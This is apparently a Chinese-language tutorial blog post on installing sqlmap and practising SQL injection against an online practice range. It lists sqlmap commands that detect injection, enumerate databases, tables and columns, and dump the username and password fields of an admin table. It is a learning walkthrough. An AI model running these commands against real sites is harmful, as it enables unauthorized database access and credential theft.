目录：
一、下载安装sqlmap
1、官网地址：http://sqlmap.org/#download
git下载：
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
2、验证sqlmap安装成功：
sqlmap.py -v
二、SQL注入
1、首先网上找到了SQL 注入靶场：http://59.63.200.79:8003/index.php
# 基础语法 sqlmap.py -u “注入地址” --dbs # 列举数据库 sqlmap.py -u “注入地址” --current--db # 当前数据库 sqlmap.py -u “注入地址” --users # 列数据库用户 sqlmap.py -u “注入地址” --current--user # 当前用户 sqlmap.py -u “注入地址” --tables -D “数据库” # 列举数据库的表名 sqlmap.py -u “注入地址” --columns -T “表名” -D “数据库” # 获取表的列名 sqlmap.py -u “注入地址” --dump -C “列名字” -T “表名字” -D “数据库” # 获取数据库下表的列信息
2、查看是否可以SQL注入：
python sqlmap.py -u "http://59.63.200.79:8003/?id=1" --batch
3、查看数据库：
python sqlmap.py -u "http://59.63.200.79:8003/?id=1" --batch --dbs
4、查看当前使用的数据库：
python sqlmap.py -u "http://59.63.200.79:8003/?id=1" --batch --current-db
5、查看当前数据库的表：
python sqlmap.py -u "http://59.63.200.79:8003/?id=1" --batch -D maoshe --tables
6、查看admin表的sql字段列：
python sqlmap.py -u "http://59.63.200.79:8003/?id=1" --batch -D maoshe -T admin --columns
7、查看maoshe数据库、admin表的“password,username”字段的值：
python sqlmap.py -u "http://59.63.200.79:8003/?id=1" --dump -C "password,username" -T admin -D maoshe
三、参考文章 返回目录
1、感谢海龙。 的文章《SQLMap的安装与使用》*****
2、感谢Agan '的文章《SQL注入篇：SQL 注入靶场练习【实例1】》*****
3、感谢simeon的文章《超详细SQLMap使用攻略及技巧分享 》****